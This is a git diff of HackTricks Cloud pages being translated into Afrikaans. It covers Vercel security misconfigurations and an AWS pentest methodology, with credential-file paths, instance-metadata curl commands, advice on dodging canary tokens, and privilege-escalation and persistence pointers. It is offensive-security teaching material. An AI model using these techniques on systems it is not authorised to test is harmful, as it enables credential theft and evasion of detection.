- **Onbehoorlike Roltoewysings:** Onkorrek toewys van rolle wat nie ooreenstem met spanlede se verantwoordelikhede nie, wat privilige eskalasie veroorsaak.
|
||||
- **Gebrek aan Projek Segregasie:** Versuim om sensitiewe projekte te skei, wat breër toegang toelaat as wat bedoel is.
|
||||
- **Onvoldoende Groep Bestuur:** Nie gereeld hersiening of opdatering van Toegangsgroepe nie, wat lei tot verouderde of onvanpaste toegangstoestemmings.
|
||||
- **Inkonsekwente Roldefinisies:** Gebruik van inkonsekwente of onduidelike roldefinisies oor verskillende Toegangsgroepe, wat lei tot verwarring en sekuriteitsgappe.
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
- **Log Drains na derde partye:**
|
||||
- **Misconfigurasie:** 'n Aanvaller kan 'n Log Drain konfigureer om die logs te steel.
|
||||
- **Risiko:** Gedeeltelike volharding.
|
||||
|
||||
---
|
||||
|
||||
### Security & Privacy
|
||||
### Sekuriteit & Privaatheid
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
- **Span E-pos Domein:** Wanneer geconfigureer, nooi hierdie instelling outomaties Vercel Persoonlike Rekeninge met e-pos adresse wat eindig op die gespesifiseerde domein (bv. `mydomain.com`) is om jou span te sluit by registrasie en op die dashboard.
|
||||
- **Misconfigurasie:**\
|
||||
- Spesifisering van die verkeerde e-pos domein of 'n verkeerd gespelde domein in die Span E-pos Domein instelling.
|
||||
- Gebruik van 'n algemene e-pos domein (bv. `gmail.com`, `hotmail.com`) in plaas van 'n maatskappy-spesifieke domein.
|
||||
- **Risiko's:**
|
||||
- **Ongeoorloofde Toegang:** Gebruikers met e-pos adresse van onbedoelde domeine mag uitnodigings ontvang om by jou span aan te sluit.
|
||||
- **Data Blootstelling:** Potensiële blootstelling van sensitiewe projekinligting aan ongeoorloofde individue.
|
||||
- **Beskermde Git Scopes:** Laat jou toe om tot 5 Git scopes aan jou span toe te voeg om te verhoed dat ander Vercel spanne repositoriums van die beskermde omvang ontplooi. Meerdere spanne kan dieselfde omvang spesifiseer, wat beide spanne toegang gee.
|
||||
- **Misconfigurasie:** Nie kritieke Git scopes aan die beskermde lys toe te voeg nie.
|
||||
- **Risiko's:**
|
||||
- **Ongeoorloofde Ontplooiings:** Ander spanne mag repositoriums van jou organisasie se Git scopes sonder toestemming ontplooi.
|
||||
- **Intellektuele Eiendom Blootstelling:** Beskermde kode kan ontplooi en buite jou span toeganklik wees.
|
||||
- **Omgewing Veranderlike Beleide:** Handhaaf beleide vir die skepping en redigering van die span se omgewing veranderlikes. Spesifiek kan jy afdwing dat alle omgewing veranderlikes geskep word as **Sensitiewe Omgewing Veranderlikes**, wat slegs deur Vercel se ontplooiingstelsel gedekodeer kan word.
|
||||
- **Misconfigurasie:** Hou die afdwinging van sensitiewe omgewing veranderlikes gedeaktiveer.
|
||||
- **Risiko's:**
|
||||
- **Blootstelling van Geheime:** Omgewing veranderlikes mag deur ongeoorloofde spanlede gesien of gewysig word.
|
||||
- **Data Lek:** Sensitiewe inligting soos API sleutels en akrediteer kan gelekt word.
|
||||
- **Oudit Log:** Verskaf 'n uitvoer van die span se aktiwiteit vir tot die laaste 90 dae. Oudit logs help om aksies wat deur spanlede uitgevoer is te monitor en op te spoor.
|
||||
- **Misconfigurasie:**\
|
||||
Gee toegang tot oudit logs aan ongeoorloofde spanlede.
|
||||
- **Risiko's:**
|
||||
- **Privaatheid Oortredings:** Blootstelling van sensitiewe gebruikersaktiwiteite en data.
|
||||
- **Manipulasie van Logs:** Kwaadwillige akteurs kan logs verander of verwyder om hul spore te bedek.
|
||||
- **SAML Enkel Teken Aan:** Laat aanpassing van SAML verifikasie en gids sinkronisering vir jou span toe, wat integrasie met 'n Identiteitsverskaffer (IdP) vir sentraliseerde verifikasie en gebruikersbestuur moontlik maak.
|
||||
- **Misconfigurasie:** 'n Aanvaller kan 'n agterdeur in die Span instel deur SAML parameters soos Entiteit ID, SSO URL, of sertifikaat vingerafdrukke op te stel.
|
||||
- **Risiko:** Handhaaf volharding.
|
||||
- **IP Adres Sigbaarheid:** Beheer of IP adresse, wat as persoonlike inligting onder sekere dataprotectiewette beskou kan word, in Monitering navrae en Log Drains vertoon word.
|
||||
- **Misconfigurasie:** Laat IP adres sigbaarheid geaktiveer sonder noodsaaklikheid.
|
||||
- **Risiko's:**
|
||||
- **Privaatheid Oortredings:** Nie-nakoming van dataprotectiewetgewing soos GDPR.
|
||||
- **Regshandelinge:** Potensiële boetes en sanksies vir verkeerde hantering van persoonlike data.
|
||||
- **IP Blokkering:** Laat die konfigurasie van IP adresse en CIDR reekse toe wat Vercel moet blokkeer versoeke van. Geblokkeerde versoeke dra nie by tot jou fakturering nie.
|
||||
- **Misconfigurasie:** Kan deur 'n aanvaller misbruik word om kwaadwillige verkeer toe te laat of legitieme verkeer te blokkeer.
|
||||
- **Risiko's:**
|
||||
- **Diens Ontkenning aan Legitieme Gebruikers:** Blokkering van toegang vir geldige gebruikers of vennote.
|
||||
- **Operasionele Onderbrekings:** Verlies van diens beskikbaarheid vir sekere streke of kliënte.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
### Veilige Rekenaarkomputasie
|
||||
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
**Vercel Veilige Rekenaarkomputasie** stel veilige, private verbindings tussen Vercel Funksies en agtergrond omgewings (bv. databasis) in deur geïsoleerde netwerke met toegewyde IP adresse te vestig. Dit elimineer die behoefte om agtergrond dienste publiek bloot te stel, wat sekuriteit, nakoming, en privaatheid verbeter.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
#### **Potensiële Misconfigurasies en Risiko's**
|
||||
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
1. **Onkorrekte AWS Streek Keuse**
|
||||
- **Misconfigurasie:** Kies 'n AWS streek vir die Veilige Rekenaarkomputasie netwerk wat nie ooreenstem met die agtergrond dienste se streek nie.
|
||||
- **Risiko:** Verhoogde latensie, potensiële data verblyf nakoming probleme, en verslechterde prestasie.
|
||||
2. **Oorvleueling CIDR Blokke**
|
||||
- **Misconfigurasie:** Kies CIDR blokke wat oorvleuel met bestaande VPC's of ander netwerke.
|
||||
- **Risiko:** Netwerk konflikte wat lei tot mislukte verbindings, ongeoorloofde toegang, of datalekke tussen netwerke.
|
||||
3. **Onbehoorlike VPC Peering Konfigurasie**
|
||||
- **Misconfigurasie:** Onkorrek opstel van VPC peering (bv. verkeerde VPC ID's, onvolledige roete tabel opdaterings).
|
||||
- **Risiko:** Ongeoorloofde toegang tot agtergrond infrastruktuur, mislukte veilige verbindings, en potensiële datalekke.
|
||||
4. **Oortollige Projektoewysings**
|
||||
- **Misconfigurasie:** Toekenning van meerdere projekte aan 'n enkele Veilige Rekenaarkomputasie netwerk sonder behoorlike isolasie.
|
||||
- **Risiko:** Gedeelde IP blootstelling verhoog die aanval oppervlak, wat moontlik gekompromitteerde projekte toelaat om ander te beïnvloed.
|
||||
5. **Onvoldoende IP Adres Bestuur**
|
||||
- **Misconfigurasie:** Versuim om toegewyde IP adresse behoorlik te bestuur of te roteer.
|
||||
- **Risiko:** IP spoofing, opsporing kwesbaarhede, en potensiële swartlys as IP's geassosieer word met kwaadwillige aktiwiteite.
|
||||
6. **Onnodige Bou Houers Insluiting**
|
||||
- **Misconfigurasie:** Voeg bou houers by die Veilige Rekenaarkomputasie netwerk wanneer agtergrond toegang nie tydens boue benodig word nie.
|
||||
- **Risiko:** Verhoogde aanval oppervlak, verhoogde provisioning vertragings, en onnodige verbruik van netwerk hulpbronne.
|
||||
7. **Versuim om Bypass Geheime Veilig te Hanteer**
|
||||
- **Misconfigurasie:** Blootstelling of verkeerde hantering van geheime wat gebruik word om ontplooiing beskermings te omseil.
|
||||
- **Risiko:** Ongeoorloofde toegang tot beskermde ontplooiings, wat aanvallers toelaat om kwaadwillige kode te manipuleer of te ontplooi.
|
||||
8. **Ignorering van Streek Failover Konfigurasies**
|
||||
- **Misconfigurasie:** Nie opstel van passiewe failover streke of verkeerde failover instellings nie.
|
||||
- **Risiko:** Diens stilstand tydens primêre streek uitvalle, wat lei tot verminderde beskikbaarheid en potensiële data inkonsistensie.
|
||||
9. **Oorskryding van VPC Peering Verbinding Limiete**
|
||||
- **Misconfigurasie:** Poging om meer VPC peering verbindings te vestig as die toegelate limiet (bv. oorskryding van 50 verbindings).
|
||||
- **Risiko:** Onvermoë om nodige agtergrond dienste veilig te verbind, wat ontplooiing mislukkings en operasionele onderbrekings veroorsaak.
|
||||
10. **Onveilige Netwerk Instellings**
|
||||
- **Misconfigurasie:** Swak vuurmuur reëls, gebrek aan versleuteling, of onbehoorlike netwerk segmentasie binne die Veilige Rekenaarkomputasie netwerk.
|
||||
- **Risiko:** Data afluistering, ongeoorloofde toegang tot agtergrond dienste, en verhoogde kwesbaarheid vir aanvalle.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
### Omgewing Veranderlikes
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
**Doel:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur al die projekte gebruik word.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Sekuriteitskonfigurasies:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Blootstelling van Sensitiewe Veranderlikes**
|
||||
- **Misconfigurasie:** Voorafgaande sensitiewe veranderlikes met `NEXT_PUBLIC_`, wat hulle op die kliëntkant toeganklik maak.
|
||||
- **Risiko:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat kan lei tot datalekke.
|
||||
- **Sensitiewe gedeaktiveer**
|
||||
- **Misconfigurasie:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
|
||||
- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Voordat jy begin pentesting** 'n **AWS** omgewing, is daar 'n paar **basiese dinge wat jy moet weet** oor hoe AWS werk om jou te help verstaan wat jy moet doen, hoe om miskonfigurasies te vind en hoe om dit te benut.
|
||||
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
Konsepte soos organisasiehiërargie, IAM en ander basiese konsepte word verduidelik in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## Laboratoriums om te leer
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Tools to simulate attacks:
|
||||
Gereedskap om aanvalle te simuleer:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## AWS Pentester/Red Team Methodology
|
||||
## AWS Pentester/Red Team Metodologie
|
||||
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
Om 'n AWS omgewing te oudit, is dit baie belangrik om te weet: watter **dienste gebruik word**, wat is **blootgestel**, wie het **toegang** tot wat, en hoe is interne AWS dienste en **eksterne dienste** gekoppel.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
Vanuit 'n Red Team perspektief, is die **eerste stap om 'n AWS omgewing te kompromitteer** om daarin te slaag om 'n paar **akkrediteerbare inligting** te verkry. Hier is 'n paar idees oor hoe om dit te doen:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
|
||||
- **Leaks** in github (of soortgelyk) - OSINT
|
||||
- **Sosiale** Ingenieurswese
|
||||
- **Wagwoord** hergebruik (wagwoordlekke)
|
||||
- Kwesbaarhede in AWS-gehoste toepassings
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) met toegang tot metadata-eindpunt
|
||||
- **Plaaslike Lêer Lees**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3de partye **gekompromitteer**
|
||||
- **Interne** Werknemer
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)akkrediteerbare inligting
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
Of deur **'n nie-geauthentiseerde diens** wat blootgestel is te kompromitteer:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
Of as jy 'n **hersiening** doen, kan jy net **vraag vir akkrediteerbare inligting** met hierdie rolle:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Nadat jy daarin geslaag het om akkrediteerbare inligting te verkry, moet jy weet **aan wie behoort daardie akkrediteerbare inligting**, en **waartoe hulle toegang het**, so jy moet 'n paar basiese enumerasie uitvoer:
|
||||
|
||||
## Basic Enumeration
|
||||
## Basiese Enumerasie
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
As jy 'n SSRF in 'n masjien binne AWS gevind het, kyk na hierdie bladsy vir truuks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -72,8 +72,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### Whoami
|
||||
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
Een van die eerste dinge wat jy moet weet, is wie jy is (in watter rekening jy is en ander inligting oor die AWS omgewing):
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Let daarop dat maatskappye **kanarie tokens** mag gebruik om te identifiseer wanneer **tokens gesteel en gebruik word**. Dit word aanbeveel om te kontroleer of 'n token 'n kanarie token is of nie voordat jy dit gebruik.\
|
||||
> Vir meer inligting [**kyk na hierdie bladsy**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
### Organisasie Enumerasie
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### IAM Enumeration
|
||||
### IAM Enumerasie
|
||||
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
As jy genoeg regte het, sal **die privileges van elke entiteit binne die AWS-rekening nagaan** jou help om te verstaan wat jy en ander identiteite kan doen en hoe om **privileges te verhoog**.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
As jy nie genoeg regte het om IAM te evalueer nie, kan jy dit **steal bruteforce** om dit uit te vind.\
|
||||
Kyk **hoe om die numerasie en bruteforcing te doen** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Nou dat jy **'n bietjie inligting oor jou akrediteer** (en as jy 'n rooi span is hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\
|
||||
> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te evalueer.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
## Dienste Enumerasie, Post-Exploitation & Persistensie
|
||||
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
AWS het 'n verbasende hoeveelheid dienste, in die volgende bladsy sal jy **basiese inligting, enumerasie** cheatsheets\*\*,\*\* hoe om **opsporing te vermy**, **persistensie** te verkry, en ander **post-exploitation** truuks oor sommige van hulle vind:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
|
||||
Let daarop dat jy **nie** al die werk **handmatig** hoef te doen nie, hieronder in hierdie pos kan jy 'n **afdeling oor** [**outomatiese gereedskap**](#automated-tools) vind.
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
Boonop, in hierdie fase mag jy **meer dienste ontdek wat aan nie-geverifieerde gebruikers blootgestel is,** jy mag in staat wees om dit te benut:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Privilege Verhoging
|
||||
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
As jy **ten minste jou eie regte** oor verskillende hulpbronne kan nagaan, kan jy **kyk of jy in staat is om verdere regte te verkry**. Jy moet ten minste fokus op die regte wat in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## Publicly Exposed Services
|
||||
## Publiek Blootgestelde Dienste
|
||||
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
Terwyl jy AWS-dienste evalueer, mag jy sommige van hulle gevind het wat **elemente aan die Internet blootstel** (VM/Containers poorte, databasisse of wagdiens, snappings of emmers...).\
|
||||
As pentester/rooi spanlid moet jy altyd kyk of jy **sensitiewe inligting / kwesbaarhede** op hulle kan vind, aangesien dit jou mag voorsien van **verdere toegang tot die AWS-rekening**.
|
||||
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
In hierdie boek moet jy **inligting** vind oor hoe om **blootgestelde AWS-dienste te vind en hoe om dit te kontroleer**. Oor hoe om **kwesbaarhede in blootgestelde netwerkdienste te vind**, sou ek jou aanbeveel om te **soek** na die spesifieke **diens** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/
|
||||
{{#endref}}
|
||||
|
||||
## Compromising the Organization
|
||||
## Kompromitering van die Organisasie
|
||||
|
||||
### From the root/management account
|
||||
### Van die wortel/ bestuur rekening
|
||||
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
Wanneer die bestuurrekening nuwe rekeninge in die organisasie skep, word 'n **nuwe rol** in die nuwe rekening geskep, standaard genoem **`OrganizationAccountAccessRole`** en gee **AdministratorAccess** beleid aan die **bestuurrekening** om toegang tot die nuwe rekening te verkry.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So, in order to access as administrator a child account you need:
|
||||
So, om as administrateur toegang te verkry tot 'n kindrekening, moet jy:
|
||||
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
- **Kompromiteer** die **bestuur** rekening en vind die **ID** van die **kindrekening** en die **name** van die **rol** (OrganizationAccountAccessRole standaard) wat die bestuurrekening toelaat om as admin toegang te verkry.
|
||||
- Om kindrekeninge te vind, gaan na die organisasieseksie in die aws-konsol of hardloop `aws organizations list-accounts`
|
||||
- Jy kan nie die name van die rolle direk vind nie, so kyk na al die pasgemaakte IAM-beleide en soek enige wat **`sts:AssumeRole` oor die voorheen ontdekte kindrekeninge** toelaat.
|
||||
- **Kompromiteer** 'n **hoof** in die bestuurrekening met **`sts:AssumeRole` toestemming oor die rol in die kindrekeninge** (selfs as die rekening enige iemand van die bestuurrekening toelaat om te verpersoonlik, aangesien dit 'n eksterne rekening is, is spesifieke `sts:AssumeRole` toestemmings nodig).
|
||||
|
||||
## Automated Tools
|
||||
## Outomatiese Gereedskap
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): 'n multi-draad AWS sekuriteitsgefokusde **inventaris versamelingsgereedskap** geskryf in Ruby.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
|
||||
